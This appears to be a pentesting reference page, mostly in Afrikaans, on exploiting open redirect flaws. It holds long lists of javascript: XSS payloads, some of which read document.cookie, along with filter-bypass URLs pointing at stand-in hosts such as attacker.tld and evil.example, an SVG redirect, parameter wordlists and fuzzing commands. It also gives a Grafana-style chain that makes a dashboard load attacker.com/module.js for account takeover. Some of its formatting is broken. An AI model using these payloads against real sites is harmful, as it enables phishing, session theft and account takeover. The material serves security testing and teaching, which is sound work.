Open Redirect

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Open redirect

Omleiding na localhost of willekeurige domeine

  • If the app “allows only internal/whitelisted hosts”, probeer alternatiewe host-notasies om loopback of interne reekse via die redirect-doel te tref:
  • IPv4 loopback-variante: 127.0.0.1, 127.1, 2130706433 (decimal), 0x7f000001 (hex), 017700000001 (octal)
  • IPv6 loopback-variante: [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1]
  • Afloopende punt en hooflettergebruik: localhost., LOCALHOST, 127.0.0.1.
  • Wildcard DNS wat na loopback oplos: lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. Hierdie is nuttig wanneer slegs “subdomains of X” toegelaat word, maar host-resolusie steeds na 127.0.0.1 wys.
  • Netwerk-padverwysings omseil dikwels naïewe valideerders wat ’n skema vooraanvoeg of slegs prefikse kontroleer:
  • //attacker.tld → geïnterpreteer as skema-relatief en navigeer na ’n ander site met die huidige skema.
  • Userinfo-truuks omseil contains/startswith kontroles teenoor vertroude hosts:
  • https://trusted.tld@attacker.tld/ → die blaaier navigeer na attacker.tld maar eenvoudige stringkontroles “sien” trusted.tld.
  • Backslash-parse verwarring tussen frameworks/browsers:
  • https://trusted.tld@attacker.tld → sommige backends behandel “\” as ’n pad-karakter en laat validasie slaag; blaaiers normaliseer dit na “/” en interpreteer trusted.tld as userinfo, wat gebruikers na attacker.tld stuur. Dit verskyn ook in Node/PHP URL-parser wanpaaie.

URL Format Bypass

Moderne open-redirect na XSS pivots

#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)

#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)

# Abuse bad subdomain filter
javascript://sub.domain.com/%0Aalert(1)

#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)

#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0

#Others
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//
Meer moderne URL-based bypass payloads ```text # Scheme-relative (current scheme is reused) //evil.example

Credentials (userinfo) trick

https://trusted.example@evil.example/

Backslash confusion (server validates, browser normalizes)

https://trusted.example@evil.example/

Schemeless with whitespace/control chars

evil.example%00 %09//evil.example

Prefix/suffix matching flaws

https://trusted.example.evil.example/ https://evil.example/trusted.example

When only path is accepted, try breaking absolute URL detection

/\evil.example /..//evil.example

</details>

## Open Redirect oplaai van svg-lêers
```html
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='http://www.example.com'"
xmlns="http://www.w3.org/2000/svg">
</svg>
</code>

Algemene injection-parameters

/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
success=https://c1h2e1.github.io
data=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io

Code voorbeelde

.Net

response.redirect("~/mysafe-subdomain/login.aspx")

Java

response.redirect("http://mysafedomain.com");

PHP

<?php
/* browser redirections*/
header("Location: http://mysafedomain.com");
exit;
?>

Opsporing en exploitation werkstroom (prakties)

  • Enkele URL-kontrole met curl:
curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:"
  • Ontdek en fuzz waarskynlike parameters op groot skaal:
Klik om uit te vou ```bash # 1) Gather historical URLs, keep those with common redirect params cat domains.txt \ | gau --o urls.txt # or: waybackurls / katana / hakrawler

2) Grep common parameters and normalize list

rg -NI “(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)” urls.txt
| sed ‘s/\r$//’ | sort -u > candidates.txt

3) Use OpenRedireX to fuzz with payload corpus

cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt

4) Manually verify interesting hits

awk ‘/30[1237]|Location:/I’ results.txt

</details>

- Moet nie client-side sinks in SPAs vergeet nie: kyk na window.location/assign/replace en framework helpers wat query/hash lees en redirect.

- Frameworks bring dikwels footguns wanneer redirect-bestemmings afgelei word van onbetroubare insette (query params, Referer, cookies). Sien Next.js-notas oor redirects en vermy dinamiese bestemmings wat van gebruikersinvoer afgelei word.

<a class="content_ref" href="../network-services-pentesting/pentesting-web/nextjs.md"><span class="content_ref_label">NextJS</span></a>

- OAuth/OIDC flows: die misbruik van open redirectors eskaleer dikwels na account takeover deur leaking authorization codes/tokens. Sien toegewyde gids:

<a class="content_ref" href="./oauth-to-account-takeover.md"><span class="content_ref_label">OAuth to Account takeover</span></a>

- Server responses wat redirects implementeer sonder Location (meta refresh/JavaScript) is steeds uitbuitbaar vir phishing en kan soms geketenvorm aangeryg word. Grep for:
```html
<meta http-equiv="refresh" content="0;url=//evil.example">
<script>location = new URLSearchParams(location.search).get('next')</script>

Fragment smuggling + client-side traversal chain (Grafana-style bypass)

  • Server-side gap (Go url.Parse + raw redirect): Valideerders wat slegs URL.Path inspekteer en URL.Fragment ignoreer, kan mislei word deur die eksterne gasheer na ná # te plaas. As die handler later Location bou vanaf die unsanitized string, fragments leak terug in die redirect target. Example against /user/auth-tokens/rotate:
  • Request: GET /user/auth-tokens/rotate?redirectTo=/%23/..//\//attacker.com HTTP/1.1
  • Parsing sees Path=/ and Fragment=/..//\//attacker.com, so regex + path.Clean() approve /, but the response emits Location: /\//attacker.com, acting as an open redirect.
  • Client-side gap (validate decoded/cleaned, return original): SPA helpers that fully decode a path (including double-encoded ?), strip the query for validation, but then return the original string let encoded ../ survive. Browser decoding later turns it into a traversal to any same-origin endpoint (e.g., the redirect gadget). Payload pattern:
  • /dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser/auth-tokens/rotate
  • The validator checks /dashboard/script/ (no ..), returns the encoded string, and the browser walks to /user/auth-tokens/rotate.
  • End-to-end XSS/ATO: chain the traversal with the fragment-smuggled redirect to coerce the dashboard script loader into fetching attacker JS:
https://<grafana>/dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%2523%2f..%2f%2f%5c%2fattacker.com%2fmodule.js
  • Die path traversal bereik die rotate endpoint, wat ’n 302 uitstuur na attacker.com/module.js vanaf die fragment-smuggled redirectTo. Verseker die attacker origin bedien JS met permissive CORS sodat die browser dit uitvoer, wat session theft/account takeover tot gevolg het.

Gereedskap

# Install
git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh

# Fuzz a list of candidate URLs (use FUZZ as placeholder)
cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50

Verwysings

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